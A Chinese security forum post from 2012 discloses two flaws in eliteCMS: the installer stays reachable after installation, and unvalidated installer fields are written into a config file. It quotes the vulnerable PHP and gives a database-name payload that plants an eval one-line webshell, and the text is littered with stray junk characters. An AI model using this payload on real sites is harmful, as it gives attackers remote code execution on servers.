找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装; S% ]0 k  n; Z, M" y/ y) C) ]; c* V
9 R- D6 {5 u" P
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php% L1 }* ?" r3 l% j* D$ m
我们来看代码:/ V# Q+ f6 b% _; p4 e) k) c
% z1 }5 {0 [( E8 R
...3 H; g5 K7 P' A& P% u! n
elseif ($_GET['step'] == "4") {
" ^! }: u" n' ?8 B    $file = "../admin/includes/config.php";
) U; b  @5 @- C$ ]: M( n$ Y    $write = "<?php\n";, g: r% e0 s: K' P" [: l5 J. K
    $write .= "/**\n";
  Y( i  U8 a. e0 M! Z, H    $write .= "*\n";
1 t( r3 u. {" _# V# H2 ?8 W    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";4 z9 }; {* v4 U0 I
...略...* B6 `1 m7 G4 r0 L' k
    $write .= "*\n";6 s' e1 b; y- }, y
    $write .= "*/\n";
! l! o2 O5 A9 z) B+ {) D    $write .= "\n";
# w8 X1 Q' e3 l! o  V% I    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
: [9 r# M2 j, {    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; w6 W: `9 A, H/ j* ~) n  t    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 c$ Z0 u: `7 k2 V7 v" J' [    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";; j9 \! H( _$ x* q
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
# S6 b% m3 i/ B4 S3 r' g# a    $write .= "if (!\$connection) {\n";
' c& B/ M/ M8 t2 u! ?2 m$ \+ P& N    $write .= "        die(\"Database connection failed\" .mysql_error());\n";3 \$ g  B6 K% J% b  Q- b$ t
    $write .= "        \n";% }  F1 m. |  _# H' M# \0 L0 r3 p; U' A
    $write .= "} \n";
! D) e* }) M0 q  I. ~+ g5 x    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
9 ?" L: V) v1 H# q6 p  ?. R    $write .= "if (!\$db_select) {\n";% z$ h% g" l8 U) w# ?
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
+ O3 Y- E7 |" G5 U+ C    $write .= "        \n";
" D3 n! h% }& P+ m  ~) ?1 v    $write .= "} \n";
/ I) q2 g1 q: y/ K% j; P    $write .= "?>\n";
0 h  Y4 |- n& Y8 N
3 W0 j  C, y. q0 }$ m- U    $writer = fopen($file, 'w');7 `) S: P2 Z  K% Z& n/ j7 ~
...
& K2 M6 q( a2 q" a3 U
) `2 P5 g) T( ~在看代码:3 Z6 w% N$ z6 O! b. D8 B5 z
! D- k8 Q& T+ c4 V
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
) u$ y5 S8 D, V. O$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
0 }6 Y  ?( G; E+ C: e7 F* u$_SESSION['DB_USER'] = $_POST['DB_USER'];
  c1 ~" l9 a* [5 ?. n4 x0 I: W7 n1 x$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
% E4 \/ i  T0 x$ w+ p3 k
; X- e; {, w  j$ ~3 s2 b" H% x取值未作任何验证
7 d  I  g9 @+ ]" N2 @" y7 f8 J如果将数据库名POST数据:
: T, F1 x4 g9 K  C2 L6 I( v: u8 c: v
  C, r' y1 \' [6 t3 T1 P3 W. L"?><?php eval($_POST[c]);?><?php( N; U8 E- c2 F1 `
1 M6 B0 c  p' A, t& b
将导致一句话后门写入/admin/includes/config.php5 J) E; m' X) F6 C& E6 K. l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表